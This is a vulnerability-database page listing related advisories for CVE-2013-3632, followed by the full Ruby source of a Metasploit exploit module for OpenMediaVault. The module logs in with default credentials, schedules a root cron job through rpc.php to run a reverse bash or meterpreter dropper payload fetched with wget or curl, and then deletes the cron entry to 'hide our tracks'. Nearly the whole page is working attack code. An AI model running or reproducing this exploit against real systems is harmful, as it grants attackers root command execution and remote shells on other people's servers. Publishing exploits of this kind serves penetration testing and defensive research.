Lucene search
K

OpenMediaVault rpc.php Authenticated Cron Remote Code Execution Exploit

🗓️ 31 Jul 2024 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 281 Views

OpenMediaVault allows authenticated user to create cron jobs as root via rpc.php to execute arbitrary commands as root

Related
Code
ReporterTitlePublishedViews
Family
0day.today
OpenMediaVault Cron Remote Command Execution Vulnerability
31 Oct 201300:00
zdt
Circl
CVE-2013-3632
31 Oct 201300:00
circl
Check Point Advisories
OpenMediaVault Cron Remote Command Execution (CVE-2013-3632)
25 May 201400:00
checkpoint_advisories
CVE
CVE-2013-3632
29 Sep 201422:00
cve
Cvelist
CVE-2013-3632
29 Sep 201422:00
cvelist
Exploit DB
OpenMediaVault Cron - Remote Command Execution (Metasploit)
31 Oct 201300:00
exploitdb
Metasploit
OpenMediaVault Cron Remote Command Execution
30 Oct 201315:25
metasploit
Metasploit
OpenMediaVault rpc.php Authenticated Cron Remote Code Execution
30 Jul 202418:52
metasploit
NVD
CVE-2013-3632
29 Sep 201422:55
nvd
OpenVAS
Openmediavault < 0.5.32 Privilege Escalation Vulnerability
25 Sep 202300:00
openvas
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Deprecated

  moved_from 'exploit/multi/http/openmediavault_cmd_exec'

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'OpenMediaVault rpc.php Authenticated Cron Remote Code Execution',
        'Description' => %q{
          OpenMediaVault allows an authenticated user to create cron jobs as root on the system.
          An attacker can abuse this by sending a POST request via rpc.php to schedule and execute
          a cron entry that runs arbitrary commands as root on the system.
          All OpenMediaVault versions including the latest release 7.4.2-2 are vulnerable.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Msf module contributor
          'Brandon Perry <bperry.volatile[at]gmail.com>' # Original discovery and first msf module
        ],
        'References' => [
          ['CVE', '2013-3632'],
          ['PACKETSTORM', '178526'],
          ['URL', 'https://www.rapid7.com/blog/post/2013/10/30/seven-tricks-and-treats'],
          ['URL', 'https://attackerkb.com/topics/zl1kmXbAce/cve-2013-3632']
        ],
        'DisclosureDate' => '2013-10-30',
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64],
        'Privileged' => true,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => ['unix', 'linux'],
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => ['linux'],
              'Arch' => [ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64],
              'Type' => :linux_dropper,
              'CmdStagerFlavor' => ['wget', 'curl'],
              'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'WfsDelay' => 65 # wait at least one minute for session to allow cron to execute the payload
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )
    register_options(
      [
        OptString.new('TARGETURI', [true, 'The URI path of the OpenMediaVault web application', '/']),
        OptString.new('USERNAME', [true, 'The OpenMediaVault username to authenticate with', 'admin']),
        OptString.new('PASSWORD', [true, 'The OpenMediaVault password to authenticate with', 'openmediavault']),
        OptBool.new('PERSISTENT', [true, 'Keep the payload persistent in Cron. Default value is false, where the payload is removed', false])
      ]
    )
  end

  def user
    datastore['USERNAME']
  end

  def pass
    datastore['PASSWORD']
  end

  def rpc_success?(res)
    res&.code == 200 && res.body.include?('"error":null')
  end

  def login(user, pass)
    print_status("#{peer} - Authenticating with OpenMediaVault using credentials #{user}:#{pass}")
    # try the login options for all OpenMediaVault versions
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'rpc.php'),
      'method' => 'POST',
      'keep_cookies' => true,
      'ctype' => 'application/json',
      'data' => {
        service: 'Session',
        method: 'login',
        params: {
          username: user,
          password: pass
        },
        options: nil
      }.to_json
    })
    unless res&.code == 200 && res.body.include?('"authenticated":true')
      res = send_request_cgi({
        'uri' => normalize_uri(target_uri.path, 'rpc.php'),
        'method' => 'POST',
        'keep_cookies' => true,
        'ctype' => 'application/json',
        'data' => {
          service: 'Authentication',
          method: 'login',
          params: {
            username: user,
            password: pass
          }
        }.to_json
      })
    end
    unless res&.code == 200 && res.body.include?('"authenticated":true')
      res = send_request_cgi({
        'uri' => normalize_uri(target_uri.path, 'rpc.php'),
        'method' => 'POST',
        'keep_cookies' => true,
        'ctype' => 'application/json',
        'data' => {
          service: 'Authentication',
          method: 'login',
          params: [
            {
              username: user,
              password: pass
            }
          ]
        }.to_json
      })
      return res&.code == 200 && res.body.include?('"authenticated":true')
    end
    true
  end

  def check_target
    print_status('Trying to detect if target is running a vulnerable version of OpenMediaVault.')
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'rpc.php'),
      'method' => 'POST',
      'keep_cookies' => true,
      'ctype' => 'application/json',
      'data' => {
        service: 'System',
        method: 'getInformation',
        params: nil
      }.to_json
    })
    return nil unless rpc_success?(res)

    res
  end

  def check_version(res)
    # parse json response and get the version
    res_json = res.get_json_document
    unless res_json.blank?
      # OpenMediaVault v0.3 - v0.5 and up to v4 have different json formats where index 1 has the version information
      version = res_json.dig('response', 1, 'value')
      version = res_json.dig('response', 'version') if version.nil?
      version = res_json.dig('response', 'data', 1, 'value') if version.nil?
      return Rex::Version.new(version.split('(')[0].gsub(/[[:space:]]/, '')) unless version.nil? || version.split('(')[0].nil?
    end
    nil
  end

  def apply_config_changes
    # Apply OpenMediaVault configuration changes
    send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'rpc.php'),
      'method' => 'POST',
      'ctype' => 'application/json',
      'keep_cookies' => true,
      'data' => {
        service: 'Config',
        method: 'applyChangesBg',
        params: {
          modules: [],
          force: false
        },
        options: nil
      }.to_json
    })
  end

  def execute_command(cmd, _opts = {})
    # OpenMediaFault current release - v6.0.15-1 uses an array definition ['*']
    # OpenMediaVault v3.0.16 - v6.0.14-1 uses a string definition '*'
    # OpenMediaVault v1.0.22 - v3.0.15 uses a string definition '*' and uuid setting 'undefined'
    # OpenMediaVault v0.2.6.4 - v1.0.31 uses a string definition '*' and uuid setting 'undefined' and no execution parameter
    # OpenMediaVault < v0.2.6.4 uses a string definition '*' and uuid setting 'undefined', no execution parameter and no everyN parameters
    schedule = @version_number >= Rex::Version.new('6.0.15-1') ? ['*'] : '*'
    uuid = @version_number <= Rex::Version.new('3.0.15') ? 'undefined' : 'fa4b1c66-ef79-11e5-87a0-0002b3a176b4'

    if @version_number > Rex::Version.new('1.0.32')
      post_data = {
        service: 'Cron',
        method: 'set',
        params: {
          uuid: uuid,
          enable: true,
          execution: 'exactly',
          minute: schedule,
          everynminute: false,
          hour: schedule,
          everynhour: false,
          dayofmonth: schedule,
          everyndayofmonth: false,
          month: schedule,
          dayofweek: schedule,
          username: 'root',
          command: cmd.to_s, # payload
          sendemail: false,
          comment: '',
          type: 'userdefined'
        },
        options: nil
      }.to_json
    elsif @version_number >= Rex::Version.new('0.2.6.4')
      post_data = {
        service: 'Cron',
        method: 'set',
        params: {
          uuid: uuid,
          enable: true,
          minute: schedule,
          everynminute: false,
          hour: schedule,
          everynhour: false,
          dayofmonth: schedule,
          everyndayofmonth: false,
          month: schedule,
          dayofweek: schedule,
          username: 'root',
          command: cmd.to_s, # payload
          sendemail: false,
          comment: '',
          type: 'userdefined'
        }
      }.to_json
    else
      post_data = {
        service: 'Cron',
        method: 'set',
        params: [
          {
            uuid: uuid,
            minute: schedule,
            hour: schedule,
            dayofmonth: schedule,
            month: schedule,
            dayofweek: schedule,
            username: 'root',
            command: cmd.to_s, # payload
            comment: '',
            type: 'userdefined'
          }
        ]
      }.to_json
    end

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'rpc.php'),
      'method' => 'POST',
      'ctype' => 'application/json',
      'keep_cookies' => true,
      'data' => post_data
    })
    fail_with(Failure::Unknown, 'Cannot access cron services to schedule payload execution.') unless rpc_success?(res)

    # parse json response and get the uuid of the cron entry
    # we need this later to clean up and hide our tracks
    res_json = res.get_json_document
    @cron_uuid = res_json.dig('response', 'uuid') || ''

    # In early versions up to 0.4.x cron uuid does not get returned so try an extra query to get it
    if @cron_uuid.blank?
      if @version_number >= Rex::Version.new('0.2.6.4')
        method = 'getList'
      else
        method = 'getListByType'
      end
      post_data = {
        service: 'Cron',
        method: method,
        params: {
          start: 0,
          limit: -1,
          sortfield: nil,
          sortdir: nil,
          type: ['userdefined']
        }
      }.to_json

      res = send_request_cgi({
        'uri' => normalize_uri(target_uri.path, 'rpc.php'),
        'method' => 'POST',
        'ctype' => 'application/json',
        'keep_cookies' => true,
        'data' => post_data
      })
      res_json = res.get_json_document
      # get total list of entries and pick the last one
      index = res_json.dig('response', 'total')
      @cron_uuid = res_json.dig('response', 'data', index - 1, 'uuid') || ''
    end

    # Apply and update cron configuration to trigger payload execution (1 minute)
    # In early releases, you do not have to apply the changes, but the exact release change is unknown, so we always apply
    apply_config_changes
    print_status('Cron payload execution triggered. Wait at least 1 minute for the session to be established.')
  end

  def on_new_session(_session)
    # try to cleanup cron entry in OpenMediaVault unless PERSISTENT option is true
    unless datastore['PERSISTENT']
      res = send_request_cgi({
        'uri' => normalize_uri(target_uri.path, 'rpc.php'),
        'method' => 'POST',
        'ctype' => 'application/json',
        'keep_cookies' => true,
        'data' => {
          service: 'Cron',
          method: 'delete',
          params: {
            uuid: @cron_uuid.to_s
          }
          # options: nil
        }.to_json
      })
      if rpc_success?(res)
        # Apply changes and update cron configuration to remove the payload entry
        # In early releases, you do not have to apply the changes, but the exact release change is unknown, so we always apply
        apply_config_changes
        print_good('Cron payload entry successfully removed.')
      else
        print_warning('Cannot access the cron services to remove the payload entry. If required, remove the entry manually.')
      end
    end
    super
  end

  def check
    @logged_in = login(user, pass)
    return CheckCode::Unknown('Failed to authenticate at OpenMediaVault.') unless @logged_in

    res = check_target
    return CheckCode::Unknown('Can not identify target as OpenMediaVault.') if res.nil?

    @version_number = check_version(res)
    return CheckCode::Detected('Can not retrieve the version information.') if @version_number.nil?
    return CheckCode::Appears("Version #{@version_number}") if @version_number.between?(Rex::Version.new('0.1'), Rex::Version.new('7.4.2-2'))

    CheckCode::Detected("Version #{@version_number}")
  end

  def exploit
    unless @logged_in
      if login(user, pass)
        res = check_target
        fail_with(Failure::Unknown, 'Can not identify target as OpenMediaVault.') if res.nil?
        @version_number = check_version(res)
        if @version_number.nil?
          print_status('Can not retrieve version information. Continue anyway...')
        else
          print_status("Version #{@version_number} detected.")
        end
      else
        fail_with(Failure::NoAccess, 'Failed to authenticate at OpenMediaVault.')
      end
    end

    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation